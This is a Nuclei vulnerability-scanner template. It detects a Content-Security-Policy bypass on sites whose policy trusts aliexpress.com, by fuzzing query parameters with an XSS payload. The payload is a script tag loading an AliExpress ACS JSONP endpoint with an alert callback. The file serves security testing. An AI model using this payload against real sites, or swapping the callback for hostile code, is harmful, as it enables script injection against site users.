id: aliexpress-acs-csp-bypass

info:
  name: Content-Security-Policy Bypass - AliExpress ACS
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,aliexpress-acs,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "aliexpress.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: aliexpress_acs_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://acs.aliexpress.com/h5/mtop.aliexpress.address.shipto.division.get/1.0/?type=jsonp&dataType=jsonp&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "aliexpress_acs_csp_xss == true"
# digest: 4a0a004730450220676104d921a8f813601c25f9d93456551c614fbac96ba40312e19d1a5021d8e2022100e8b3d7a177c2e8ebbd107ea9f57ab6f410af5e60ca03c245798029866240a4f8:922c64590222798bb761d5b6d8e72950